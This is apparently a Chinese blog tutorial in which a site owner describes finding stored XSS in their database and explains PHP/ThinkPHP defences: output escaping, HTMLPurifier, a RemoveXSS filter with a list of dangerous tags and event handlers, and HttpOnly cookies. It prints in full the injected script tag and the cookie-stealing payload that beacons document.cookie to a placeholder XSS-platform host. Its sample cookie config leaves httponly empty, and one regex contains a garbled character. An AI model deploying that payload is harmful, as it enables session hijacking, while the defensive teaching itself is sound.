目录
2、PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤:
记录:
今天登录我网站的一个测试账号,访问某个页面非常卡,以前是不会这样卡的,使用其他账号访问这个页面却是正常的,非常的纳闷,到底是哪里出了问题呢!排除css和js问题,后面也排除了PHP后端耗时问题,查了很久的原因,才发现是mysql里的数据有问题,字符串变量被黑客写入了下面这行语句:
<sCRiPt sRC=//短链接地址></sCrIpT>
访问这个短链接地址,发现远程执行的xss脚本代码如下:
一、什么是XSS攻击?
XSS(Cross Site Scripting, 跨站脚本攻击), 在 Web攻击中比较常见的方式, 通过此攻击可以控制用户终端做一系列的恶意操作, 如 可以盗取, 篡改, 添加用户的数据或诱导到钓鱼网站等。
上面那段xss脚本代码,主要是为了获取网站cookie,然后实现免密登录其他用户的账号。
二、XSS攻击的原理
比较常见的方式是利用未做好过滤的参数传入一些脚本语言代码块通常是 JavaScript, PHP, Java, ASP, Flash, ActiveX等等, 直接传入到页面或直接存入数据库。通过用户浏览器阅读此数据时可以修改当前页面的一些信息或窃取会话和 Cookie等, 这样完成一次 XSS攻击。
三、XSS攻击的示例
1、比如某个页面被加入了下面这句xss脚本代码:
<sCrIpt srC=//xss脚本短链接地址></sCRipT>
2、xss脚本短链接地址的代码如下图:
(function() {
(new Image()).src='http://xss平台服务器地址/xss.php?do=api&id=L9iR&location='+escape((function() {
try {
return document.location.href
}
catch(e) {
return ''
}
}
)())+'&toplocation='+escape((function() {
try {
return top.location.href
}
catch(e) {
return ''
}
}
)())+'&cookie='+escape((function() {
try {
return document.cookie
}
catch(e) {
return ''
}
}
)())+'&opener='+escape((function() {
try {
return (window.opener && window.opener.location.href)?window.opener.location.href:''
}
catch(e) {
return ''
}
}
)());
}
)();
if(''==1) {
keep=new Image();
keep.src='http://xss平台服务器地址xss.php?do=keepsession&id=L9iR&url='+escape(document.location)+'&cookie='+escape(document.cookie)
}
;
3、当用户张三登录网站,并访问了带有这个脚本的页面时,<sCrIpt srC=//xss脚本短链接地址></sCRipT>这个js脚本会自动获取张三账号的cookie,并发送到黑客的xss平台。黑客拿到cookie后,就可以不需要密码,直接登录张三的账号。
四、如何预防XSS等脚本攻击?
1、PHP直接输出html的,可以采用以下的方法进行过滤:
(1).htmlspecialchars函数
(2).htmlentities函数
(3).HTMLPurifier.auto.php插件
(4).RemoveXss函数
2、PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤:
(1).尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容
(2).必须要用innerHTML等等函数,则需要做类似php的htmlspecialchars的过滤
3、其它的通用的防御手段:
(1).在输出html时,加上Content Security Policy的Http Header:
作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等;
缺陷:IE或低版本的浏览器可能不支持;
(2).在设置Cookie时,加上HttpOnly参数:
作用:可以防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6;
缺陷:网站本身的JS代码也无法操作Cookie,而且作用有限,只能保证Cookie的安全;
(3).在开发API时,检验请求的Referer参数
作用:可以在一定程度上防止CSRF攻击;
缺陷:IE或低版本的浏览器中,Referer参数可以被伪造;
五、thinkphp过滤XSS脚本攻击方法
方法一:在application/config.php添加配置
1、设置全局过滤方法为封装的htmlspecialchars函数,修改application/config.php
// 默认全局过滤方法 多个请用英文逗号分隔(预防跨站脚本XSS攻击)
'default_filter' => 'htmlspecialchars,RemoveXSS',
strip_tags()函数 过滤字符串中的 HTML、XML 以及 PHP 的标签;
htmlspecialchars() 函数 把预定义的字符转换为 HTML 实体,如需把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数;
注意:如果您需要将html格式文本写入数据库,那么需要使用htmlspecialchars_decode重新编译:
$data=input('post.');
//全局使用htmlspecialchars过滤过input,因此要重新编译成html格式
$content = htmlspecialchars_decode(trim($data['content']));
2、设置cookie,修改application/config.php
// +----------------------------------------------------------------------
// | Cookie设置
// +----------------------------------------------------------------------
'cookie' => [
// cookie 名称前缀
'prefix' => '',
// cookie 保存时间(为0时,表示Cookie在浏览器关闭时自动删除)
'expire' => 0,
// cookie 保存路径(斜杠/表示Cookie在整个网站中都可用)
'path' => '/',
// cookie 有效域名(不要加www)
'domain' => '.18pay.net',
// cookie 启用安全传输 (仅通过安全的HTTPS连接传给客户端)
'secure' => true,
// httponly设置(参数为空,表示Cookie可以通过JavaScript访问)
'httponly' => '',
// 是否使用 setcookie
'setcookie' => true,
],
3、在 application/common.php里添加RemoveXSS函数,RemoveXSS函数代码请参考第六段。
方法二:使用第三方插件htmlpurifier
1、使用composer安装
$ composer require ezyang/htmlpurifier
2、在application/common.php公共函数目录中,添加如下代码:
//防止xss攻击的特殊方法
function fanXSS($string) {
require_once '../vendor/htmlpurifier/HTMLPurifier.auto.php'; //根据实际目录路径进行修改
// 生成配置对象
$cfg = HTMLPurifier_Config::createDefault(); // 以下就是配置:
$cfg->set('Core.Encoding', 'UTF-8'); // 设置允许使用的HTML标签
$cfg->set('HTML.Allowed', 'div,h1,h2,h3,h4,h5,embed,video,source,audio,table,td,th,tr,dl,dd,dt,font,u,p,b,strong,i,em,a[href|title],ul,ol,li,br,span[style],img[width|height|alt|src]'); // 设置允许出现的CSS样式属性
$cfg->set('CSS.AllowedProperties', 'font,font-size,font-weight,font-style,font-family,text-decoration,padding-left,color,background-color,text-align'); // 设置a标签上是否允许使用target="_blank"
$cfg->set('HTML.TargetBlank', TRUE); // 使用配置生成过滤用的对象
$obj = new HTMLPurifier($cfg); // 过滤字符串
return $obj->purify($string);
}
3、然后在 application/config.php 配置文件里,default_filter中添加这个过滤方法名
'default_filter' => 'fanXSS',
4、富文本编辑器内容,使用过滤的思想进行处理,比如商品描述字段,处理如下:
goods['desc'] = input('goods_desc', '', 'fanXSS');
六、RemoveXSS函数代码
/**
* 移除或者打乱注入的XSS脚本代码
*/
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
七、PHP设置HttpOnly来防御xss攻击
1、在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
2、或者使用以下代码:
ini_set("session.cookie_httponly", 1);
3、或者setcookie()的第七个参数设置为true,如下:
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
PHP5.1以前的版本,使用如下方式:
header("Set-Cookie: hidden=value; httpOnly");